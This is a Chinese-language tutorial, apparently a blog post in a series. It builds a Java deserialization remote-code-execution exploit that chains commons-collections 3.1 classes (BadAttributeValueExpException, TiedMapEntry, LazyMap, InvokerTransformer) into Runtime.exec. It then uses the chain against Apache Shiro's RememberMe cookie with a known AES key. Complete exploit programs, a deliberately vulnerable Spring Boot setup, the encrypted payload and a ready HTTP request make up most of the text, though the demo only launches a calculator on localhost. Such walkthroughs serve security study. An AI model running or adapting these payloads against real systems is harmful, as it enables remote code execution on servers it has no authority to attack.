声明

本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。

新的希望

0x00

在上一节中我们介绍了 Java 反序列化漏洞的成因和利用 commons-collections 3.1 搭配 sun.reflect.annotation.AnnotationInvocationHandler 实现远程命令执行的方式。但sun.reflect.annotation.AnnotationInvocationHandler 的问题已经在最新版 jdk 中修复,可利用范围仅能够局限于旧版本的jdk。经过安全人员的审计,另一个类 javax.management.BadAttributeValueExpException 出现在了安全人员的视野。

javax.management.BadAttributeValueExpException 继承自 java.lang.Exceptionjava.lang.Exception 继承自 java.lang.Throwable,而 java.lang.Throwable 实现了 java.io.Serializable。因此 javax.management.BadAttributeValueExpException 符合了 可序列化 这个要求,同样的它也增加了 readObject 方法,这个类的完整代码如下:

package javax.management;

import java.io.IOException;
import java.io.ObjectInputStream;


/**
 * Thrown when an invalid MBean attribute is passed to a query
 * constructing method.  This exception is used internally by JMX
 * during the evaluation of a query.  User code does not usually
 * see it.
 *
 * @since 1.5
 */
public class BadAttributeValueExpException extends Exception   {


    /* Serial version */
    private static final long serialVersionUID = -3105272988410493376L;

    /**
     * @serial A string representation of the attribute that originated this exception.
     * for example, the string value can be the return of {@code attribute.toString()}
     */
    private Object val;

    /**
     * Constructs a BadAttributeValueExpException using the specified Object to
     * create the toString() value.
     *
     * @param val the inappropriate value.
     */
    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }


    /**
     * Returns the string representing the object.
     */
    public String toString()  {
        return "BadAttributeValueException: " + val;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

小伙伴们可能会很迷茫,这要何从下手?

别着急,我来一点点的分析。

首先我们来看这个方法的第一行代码 ObjectInputStream.GetField gf = ois.readFields();,它的意思是从已经序列化成字节数组的信息中获取 序列化前的类 的全部成员变量。

第二行代码 Object valObj = gf.get("val", null); 的意思是获取名词为 val 的成员变量,如果获取不到就返回 null

接下来前两个的 if 判断很简单,就不解释了。

第三个 if 判断中只要 System.getSecurityManager() 是空值或者 valObj 是基本数据包装类型就调用 toString() 方法转换为字符串。

问题就出在这个 toString() 上。

0x01

安全人员在审查 commons-collections 3.1 的源码时发现 org.apache.commons.collections.keyvalue.TiedMapEntrytoString() 方法如下:

public String toString() {
    return getKey() + "=" + getValue();
}

getKey()getValue() 代码如下:

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {

    /** Serialization version */    
    private static final long serialVersionUID = -8453869361373831205L;

    /** The map underlying the entry/iterator */    
    private final Map map;
    /** The key */
    private final Object key;
    
    /**
     * Constructs a new entry with the given Map and key.
     *
     * @param map  the map
     * @param key  the key
     */
    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

    // Map.Entry interface
    //-------------------------------------------------------------------------
    /**
     * Gets the key of this entry
     * 
     * @return the key
     */
    public Object getKey() {
        return key;
    }

    /**
     * Gets the value of this entry direct from the map.
     * 
     * @return the value
     */
    public Object getValue() {
        return map.get(key);
    }
    
    代码省略...   
}

getKey() 直接返回了字符串,不用考虑了。

getValue() 是从构造方法传入的 map 中根据 传入的key 获取值。那么有没有一个 Mapget 方法可以调用 org.apache.commons.collections.Transformertransform 方法呢?答案是有的,而且它还是 commons-collections 3.1 中的一个类。

0x02

org.apache.commons.collections.map.LazyMap 顾名思义是一个懒加载的 Map,它继承自 AbstractMapDecorator,并且实现了 MapSerializable接口。 它的构造方法有两个参数,一个是 java.util.Map,一个是org.apache.commons.collections.Transformer。它重写了Mapget 方法,先判断构造方法传入的 map 中是否包含 key,不包含时会调用 transformertransform 的方法进行转换,并进行后续的赋值和返回,代码如下:

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

绝地归来

经过上述步骤的分析,我们得到了一个调用链。

                           ,--------------------.   ,------------.           
                           |LazyMap             |   |TiedMapEntry|           
,-----------------------.  |--------------------|   |------------|           
|Transformer            |  |Map map;            |   |Map map;    |           
|-----------------------|--|Transformer factory;|---|String key; |           
|transform(Object input)|  |                    |   |            |           
`-----------------------'  |get(String key);    |   |toString(); |           
                           `--------------------'   `------------'           
                                                           |                 
                                                           |                 
                                         ,----------------------------------.
                                         |BadAttributeValueExpException     |
                                         |----------------------------------|
                                         |TiedMapEntry val;                 |
                                         |readObject(ObjectInputStream ois);|
                                         `----------------------------------'

下面我们来实际测试一下。

为简化代码,我们把序列化和反序列化代码做成工具类使用。

import java.io.*;

/**
 * 序列化工具
 */
public class Serializer {

    /**
     * 将对象序列化为字节数组
     * @param obj 对象
     * @return 字节数组
     * @throws IOException IO异常
     */
    public static byte[] serialize(final Object obj) throws IOException {
        final ByteArrayOutputStream out = new ByteArrayOutputStream();
        try (ObjectOutputStream objOut = new ObjectOutputStream(out)) {
            objOut.writeObject(obj);
            objOut.flush();
        }
        return out.toByteArray();
    }

    /**
     * 将字节数组反序列化对象
     * @param bytes 字节数组
     * @return 对象
     * @throws IOException IO异常
     * @throws ClassNotFoundException 类找不到异常
     */
    public static Object deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        try (ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
            return input.readObject();
        }
    }
}

修改之前的测试代码。

import cn.typesafe.jsv.util.Serializer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Exp4 {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[2]),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = ChainedTransformer.getInstance(transformers);

        // 在调用 get 方法时传入一个不存在的 key 时会调用 Transformer 的 transform 方法
        Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
        // 在调用 toString 方法时会自动调用 getValue 方法并使用 构造方法传入的 key 当作 key
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "守法市民小杜");
        // 创建BadAttributeValueExpException对象,类型是 public 的,无需使用反射创建
        BadAttributeValueExpException obj = new BadAttributeValueExpException(null);
        // 成员 val 没有setVal 方法,只能通过反射修改
        Field valField = obj.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(obj, entry);

        /*-----------------------以下是序列化和反序列化测试----------------------------*/

        // 将用户序列化为字节数组,将字节数组进行base64编码,无论是通过网络或者是文件都可以发送到另一个系统进行反序列化
        final String data = Base64.getEncoder().encodeToString(Serializer.serialize(obj));
        System.out.println("序列化后:" + data);

        // 将base64编码的数据再解码为字节数组
        final Object o = Serializer.deserialize(Base64.getDecoder().decode(data.getBytes(StandardCharsets.UTF_8)));
        System.out.println("反序列化:"+o);
    }
}

在最新版 jdk 1.8.0_301 上测试通过,弹出了计算器。

西斯的复仇

0x00

有杠精附体的朋友说我上节写的那个接口在现实环境中基本上不会有,那我们今天来介绍一个使用广泛的框架 shiro

shiroRememberMe 功能就是利用了 Java 的反序列化来实现的,不过它并不是直接将对象序列化成数组后简单使用 base64 编码就写入到 Cookie 中,而是将对象字节数组进行了一次 AES 加密,最后才 base64 编码写入到 Cookie 中。

以最新版 shiro 1.8.0 为例, org.apache.shiro.mgt.AbstractRememberMeManageronSuccessfulLogin 方法中,当打开 RememberMe 后会调用 rememberIdentity 方法

public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
    //always clear any previous identity:
    forgetIdentity(subject);

    //now save the new identity:
    if (isRememberMe(token)) {
        rememberIdentity(subject, token, info);
    } else {
        if (log.isDebugEnabled()) {
            log.debug("AuthenticationToken did not indicate RememberMe is requested.  " +
                    "RememberMe functionality will not be executed for corresponding account.");
        }
    }
}

rememberIdentity 方法如下:

public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
    // 生成身份认证信息
    PrincipalCollection principals = getIdentityToRemember(subject, authcInfo);
    // 实现记住登录
    rememberIdentity(subject, principals);
}

rememberIdentity 方法如下:

protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
    // 将身份认证信息序列化为字节数组
    byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
    // 将字节数组写入到Cookie中
    rememberSerializedIdentity(subject, bytes);
}

convertPrincipalsToBytes 方法如下:

protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
    // 将身份认证信息序列化为字节数组,最终会调用 DefaultSerializer 的 serialize 方法
    byte[] bytes = serialize(principals);
    if (getCipherService() != null) {
        // 如果加密服务存在则进行一次AES加密,在加密时会使用当前设置的密钥
        bytes = encrypt(bytes);
    }
    return bytes;
}

rememberSerializedIdentity 方法如下:

protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

    if (!WebUtils.isHttp(subject)) {
        if (log.isDebugEnabled()) {
            String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet " +
                    "request and response in order to set the rememberMe cookie. Returning immediately and " +
                    "ignoring rememberMe operation.";
            log.debug(msg);
        }
        return;
    }


    HttpServletRequest request = WebUtils.getHttpRequest(subject);
    HttpServletResponse response = WebUtils.getHttpResponse(subject);

    //base 64 encode it and store as a cookie:
    String base64 = Base64.encodeToString(serialized);

    Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
    Cookie cookie = new SimpleCookie(template);
    cookie.setValue(base64);
    cookie.saveTo(request, response);
}

最终会将身份认证信息写入到 Cookie 中。

反序列化的过程类似,不过是把这个流程反过来。因此我们可以得出一个结论。

只要目标系统中同时有使用 shiro 和 commons-collections 3.1,并且在得知了AES密钥,即可触发远程命令执行漏洞。

0x01 搭建测试环境

我们使用 springboot 搭建一个测试环境。

使用 maven 创建好一个包含 webspringboot 项目后,在 pom.xml 增加两个依赖:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-spring-boot-web-starter</artifactId>
    <version>1.8.0</version>
</dependency>

然后增加两个类配置 shiro

import org.apache.shiro.realm.Realm;
import org.apache.shiro.realm.text.TextConfigurationRealm;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

@Configuration
public class ShiroRealmConfig {

    @Bean
    public Realm realm() {
        TextConfigurationRealm realm = new TextConfigurationRealm();
        // 配置账户信息
        realm.setUserDefinitions("user=password,user\n" + "admin=password,admin");
        realm.setRoleDefinitions("admin=read,write\n" + "user=read");
        realm.setCachingEnabled(true);
        return realm;
    }
}
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.web.mgt.CookieRememberMeManager;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.context.annotation.Configuration;

import javax.annotation.PostConstruct;
import javax.annotation.Resource;
import java.util.Base64;

@Configuration
public class ShiroSecurityConfig {

    @Resource
    private SecurityManager securityManager;

    @PostConstruct
    public void init() {
        // 配置记住登录管理器,并且设置 AES 加密的 key
        CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
        cookieRememberMeManager.setCipherKey(Base64.getDecoder().decode("zSyK5Kp6PZAAjlT+eeNMlg=="));
        ((DefaultWebSecurityManager) securityManager).setRememberMeManager(cookieRememberMeManager);
    }
}

最后启动项目。

0x02 生成 payload

import cn.typesafe.jsv.util.Serializer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Exp5 {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[2]),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = ChainedTransformer.getInstance(transformers);

        // 在调用 get 方法时传入一个不存在的 key 时会调用 Transformer 的 transform 方法
        Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
        // 在调用 toString 方法时会自动调用 getValue 方法并使用 构造方法传入的 key 当作 key
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        // 创建BadAttributeValueExpException对象,类型是 public 的,无需使用反射创建
        BadAttributeValueExpException obj = new BadAttributeValueExpException(null);
        // 成员 val 没有setVal 方法,只能通过反射修改
        Field valField = obj.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(obj, entry);

        /*-----------------------以下是序列化和反序列化测试----------------------------*/
        final byte[] bytes = Serializer.serialize(obj);

        byte[] key = Base64.getDecoder().decode("zSyK5Kp6PZAAjlT+eeNMlg==");

        // 创建一个 shiro 的 AES 加密服务类
        AesCipherService aesCipherService = new AesCipherService();
        // 使用 AES 加密序列化后的字节数组
        ByteSource encrypt = aesCipherService.encrypt(bytes, key);
        // 将加密后的字节数组转换使用 Base64 编码后输出
        String encoder = Base64.getEncoder().encodeToString(encrypt.getBytes());
        System.out.println("序列化后+AES加密+base64 encode:" + encoder);

        /*// 使用Base64 解码字符串为字节数组, 并使用AES 解密字节数组
        ByteSource decrypt = aesCipherService.decrypt(Base64.getDecoder().decode(encoder), key);
        // 反序列化为对象
        final Object o = Serializer.deserialize(decrypt.getBytes());
        System.out.println("反序列化+AES解密+base64 decode:" + o);*/
    }
}

运行后输出:

序列化后+AES加密+base64 encode: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

冒号后面的就是我们需要的 payload

0x03 一发入魂

我这里还是使用 IDEA 自带的工具进行测试。

新建一个 poc.http 文件写入一下内容

GET http://localhost:8080/
Cookie: JSESSIONID=x; rememberMe=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

点击发送请求,便可以看到本地计算机打开了计算器程序。

文中测试使用系统和工具版本如下:

其他

经过测试 commons-collections 3.2.1 版本同样可以复现上述问题,commons-collections 3.2.2 不可复现。

参考

https://github.com/frohoff/ysoserial